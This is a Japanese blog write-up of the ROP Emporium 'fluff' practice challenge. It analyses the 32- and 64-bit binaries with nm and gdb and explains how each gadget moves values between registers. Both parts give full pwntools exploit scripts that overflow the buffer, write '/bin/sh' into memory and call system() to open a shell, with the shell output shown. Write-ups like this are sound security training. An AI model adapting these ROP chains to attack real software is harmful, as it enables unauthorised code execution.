0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

ROP Emporium fluff writeup

Last updated at Posted at 2020-04-21

ROP Emporium

ROPの練習問題集

ROP Emporium

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

writeup link

fluff32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

# file ./fluff32
./fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped
# 
# 
# ./fluff32 
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> test

Exiting
# 

nmコマンドで実行ファイルのシンボル情報を確認する。
nm

# nm ./fluff32
0804a030 B __bss_start
0804a068 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a030 D _edata
0804a06c B _end
         U fgets@@GLIBC_2.0
08048704 T _fini
08048718 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
080488e0 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804879c r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804871c R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
08048700 T __libc_csu_fini
080486a0 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804857b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485f6 t pwnme
08048670 T questionableGadgets
080484f0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048480 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a030 D __TMC_END__
0804864c t usefulFunction
080484b0 T __x86.get_pc_thunk.bx
# 

usefulFunctionというシンボルがある。
questionableGadgetsという今までにないシンボルがある。

gdbでfluff32を解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:	push   ebp
   0x0804864d <+1>:	mov    ebp,esp
   0x0804864f <+3>:	sub    esp,0x8
   0x08048652 <+6>:	sub    esp,0xc
   0x08048655 <+9>:	push   0x8048793
   0x0804865a <+14>:	call   0x8048430 <system@plt>
   0x0804865f <+19>:	add    esp,0x10
   0x08048662 <+22>:	nop
   0x08048663 <+23>:	leave  
   0x08048664 <+24>:	ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x8048793
0x8048793:	"/bin/ls"
gdb-peda$ 

questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の4箇所。
<questionableGadgets +0> - <questionableGadgets +9>
<questionableGadgets +10> - <questionableGadgets +19>
<questionableGadgets +20> - <questionableGadgets +33>
<questionableGadgets +34> - <questionableGadgets +41>

上記の各Gadgetsでレジスタの値を操作しているが、操作しているレジスタがバラバラなので上手く使えば、ROPが構築できそう。

gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x08048670 <+0>:	pop    edi
   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret    
   0x0804867a <+10>:	pop    esi
   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    
   0x08048684 <+20>:	mov    edi,0xdeadbeef
   0x08048689 <+25>:	xchg   edx,ecx
   0x0804868b <+27>:	pop    ebp
   0x0804868c <+28>:	mov    edx,0xdefaced0
   0x08048691 <+33>:	ret    
   0x08048692 <+34>:	pop    edi
   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    
   0x0804869a <+42>:	xchg   ax,ax
   0x0804869c <+44>:	xchg   ax,ax
   0x0804869e <+46>:	xchg   ax,ax
End of assembler dump.
gdb-peda$ 

usefulFunctionにsystem関数はあるので、メモリ上に/bin/shを書き込めれば、それを引数としてsystem(/bin/sh)を実行できる。

<questionableGadgets +35>のmov DWORD PTR [ecx],edxを使えば、ecxのアドレスにedxの値を書き込める。
したがって、ecxにメモリ上の書き込み可能なアドレス、edxに/binまたは/sh\x00を格納することを目指す。

   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    

まずは、ecxに書き込み可能なアドレスを格納できるようにROP Gadgets構築する。

xor edx,edxを実行し、edxの値を0にする。

   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret  

stackに積んでいる値をebxに格納する。
ここで、書き込み可能なアドレスをstackに積んでおく。

xor edx,ebxを実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。

   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    

xchg命令によって、ecxとedxの値を交換している。

   0x08048689 <+25>:	xchg   edx,ecx
   0x0804868b <+27>:	pop    ebp
   0x0804868c <+28>:	mov    edx,0xdefaced0
   0x08048691 <+33>:	ret   

これらのGadgetによって、ecxに書き込み可能なアドレスを格納できる。

次に、edxに/binまたは/sh\x00の文字列を格納することを目指す。

xor edx,edxを実行し、edxの値を0にする。

   0x08048671 <+1>:	xor    edx,edx
   0x08048673 <+3>:	pop    esi
   0x08048674 <+4>:	mov    ebp,0xcafebabe
   0x08048679 <+9>:	ret  

stackに積んでいる値をebxに格納する。
ここで、/binまたは/sh\x00をstackに積んでおく。

xor edx,ebxを実行し、edxとedxの排他的論理和を計算した結果をedxに格納する。
edxの値は0になっているため、0(edx)とebx排他的論理和の結果はebxになる。
つまり、下記のGadgetではebxの値をedxにコピーしていることになる。

   0x0804867b <+11>:	xor    edx,ebx
   0x0804867d <+13>:	pop    ebp
   0x0804867e <+14>:	mov    edi,0xdeadbabe
   0x08048683 <+19>:	ret    

これらのGadgetによって、edxに/binまたは/sh\x00の文字列を格納できる。

mov DWORD PTR [ecx],edxを使えば、ecxのアドレスにedxの値を書き込める。

   0x08048693 <+35>:	mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:	pop    ebp
   0x08048696 <+38>:	pop    ebx
   0x08048697 <+39>:	xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:	ret    

これまで説明してきたGadgetを使用することで、書き込み可能なアドレスに/bin/shを書き込める。
/bin/shが書き込まれたアドレスを引数としてsystemを実行する。

from pwn import *

conn = process('./fluff32')

system_plt_addr=0x08048430

xor_edx_addr=0x08048671 # xor edx,edx ; pop esi ; mov ebp,0xcafebabe ; ret    

xchg_addr=0x08048689 # xchg edx,ecx ; pop ebp ; mov edx,0xdefaced0 ; ret

xor_addr=0x0804867b  # xor edx,ebx ; pop ebp ; mov edi,0xdeadbabe ; ret

mov_ecx_edx_addr=0x08048693 # mov DWORD PTR [ecx] edx ; pop ebp ; pop ebx ; xor BYTE PTR [ecx],bl ; ret

pop_ebx_addr=0x080483e1 # pop ebx ; ret ;

write_mem_addr=0x804a040

payload = 'A'*44

# set write address to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA'  #dummy esi

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp

# set strings '/bin' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi

payload += p32(pop_ebx_addr)
payload += '/bin'

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx


# set write address+4 to ecx
payload += p32(xor_edx_addr)
payload += 'AAAA'  #dummy esi

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

payload += p32(xchg_addr)
payload += 'AAAA' #dummy ebp

# set strings '/sh\x00' to edx
payload += p32(xor_edx_addr)
payload += 'AAAA' #dummy esi

payload += p32(pop_ebx_addr)
payload += '/sh\x00'

payload += p32(xor_addr)
payload += 'AAAA' #dummy ebp

# mov [ecx] edx
payload += p32(mov_ecx_edx_addr)
payload += 'AAAA' #dummy ebp
payload += '\x00\x00\x00\x00' #dummy ebx

# system(/bin/sh)
payload += p32(system_plt_addr)
payload += 'AAAA'
payload += p32(write_mem_addr)


conn.sendline(payload)
conn.interactive()
# python ./fluff32.py 
[+] Starting local process './fluff32': pid 7638
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> $ ls
core  flag.txt    fluff32  fluff32.py  peda-session-fluff32.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
$ 

fluff writeup

fluffの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

# ./fluff 
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
> test

Exiting
# 

nmコマンドで実行ファイルのシンボル情報を確認する。
nm

# nm ./fluff
0000000000601060 B __bss_start
0000000000601088 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601060 D _edata
0000000000601090 B _end
                 U fgets@@GLIBC_2.2.5
00000000004008d4 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400ad8 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400964 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008e0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
00000000004008d0 T __libc_csu_fini
0000000000400860 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
0000000000400820 T questionableGadgets
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
0000000000601080 B stderr@@GLIBC_2.2.5
0000000000601070 B stdin@@GLIBC_2.2.5
0000000000601060 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601060 D __TMC_END__
0000000000400807 t usefulFunction
# 

usefulFunctionとquestionableGadgetsという今シンボルがある。

gdbでfluffを解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

nmコマンドで確認できたusefulFunction / questionableGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x40095b
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x40095b
0x40095b:	"/bin/ls"
gdb-peda$ 

questionableGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の4箇所。
<questionableGadgets +0> - <questionableGadgets +12>
<questionableGadgets +13> - <questionableGadgets +26>
<questionableGadgets +27> - <questionableGadgets +43>
<questionableGadgets +44> - <questionableGadgets +56>

gdb-peda$ pdis questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x0000000000400820 <+0>:	pop    r15
   0x0000000000400822 <+2>:	xor    r11,r11
   0x0000000000400825 <+5>:	pop    r14
   0x0000000000400827 <+7>:	mov    edi,0x601050
   0x000000000040082c <+12>:	ret    
   0x000000000040082d <+13>:	pop    r14
   0x000000000040082f <+15>:	xor    r11,r12
   0x0000000000400832 <+18>:	pop    r12
   0x0000000000400834 <+20>:	mov    r13d,0x604060
   0x000000000040083a <+26>:	ret    
   0x000000000040083b <+27>:	mov    edi,0x601050
   0x0000000000400840 <+32>:	xchg   r11,r10
   0x0000000000400843 <+35>:	pop    r15
   0x0000000000400845 <+37>:	mov    r11d,0x602050
   0x000000000040084b <+43>:	ret    
   0x000000000040084c <+44>:	pop    r15
   0x000000000040084e <+46>:	mov    QWORD PTR [r10],r11
   0x0000000000400851 <+49>:	pop    r13
   0x0000000000400853 <+51>:	pop    r12
   0x0000000000400855 <+53>:	xor    BYTE PTR [r10],r12b
   0x0000000000400858 <+56>:	ret    
   0x0000000000400859 <+57>:	nop    DWORD PTR [rax+0x0]
End of assembler dump.
gdb-peda$ 

ここらは、fluff32と同様の考えでROPを組む。
<questionableGadgets +46>のmov QWORD PTR [r10],r11を使用して書き込み可能なアドレスに/bin/sh¥00を入力することを目指す。

まずは、r10に書き込み可能なアドレス、r11/bin/sh¥00を格納するgadgetを組む。

/bin/sh¥00を書き込んだアドレスをpop rdiのgadgetを使用してrdiに格納し、systemを呼び出すことでsystem(/bin/sh)を実行させる。

from pwn import *

conn = process('./fluff')

system_plt_addr=0x4005e0

xor_r11_addr=0x400822 # xor r11,r11 ; pop r14 ; mov edi,0x601050 ; ret

xor_r11_r12_addr=0x40082f # xor r11,r12 ; pop r12 ; mov edi,0x604060

xchg_r11_r10_addr=0x400840 # xchg r11,10 ; pop r15 ; mov r11d,0x602050

mov_r10_r11_addr=0x40084e # mov QWORD PTR [r10] r11 ; pop r13 ; pop r12 ; ret

pop_rdi_addr=0x004008c3 # pop rdi ; ret

pop_r12_addr=0x00400832 # pop r12 ; mov r13d, 0x00604060 ; ret 

write_mem_addr=0x601060

payload = 'A'*40

# set write address r10
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(pop_r12_addr)
payload += p64(write_mem_addr)
payload += p64(xor_r11_r12_addr)
payload += p64(0)
payload += p64(xchg_r11_r10_addr)
payload += p64(0)

# set strings '/bin/sh\x00' to r11
payload += p64(pop_r12_addr)
payload += '/bin/sh\x00'
payload += p64(xor_r11_addr)
payload += p64(0)
payload += p64(xor_r11_r12_addr)
payload += p64(0)

# mov [r10] r11
payload += p64(mov_r10_r11_addr)
payload += p64(0)
payload += p64(0)


# system(/bin/sh)
payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_plt_addr)


pause()
conn.sendline(payload)
conn.interactive()
# python ./fluff.py 
[+] Starting local process './fluff': pid 8582
[*] Paused (press any to continue)
[*] Switching to interactive mode
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
> $ ls
core  flag.txt    fluff  fluff.py  peda-session-fluff.txt
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?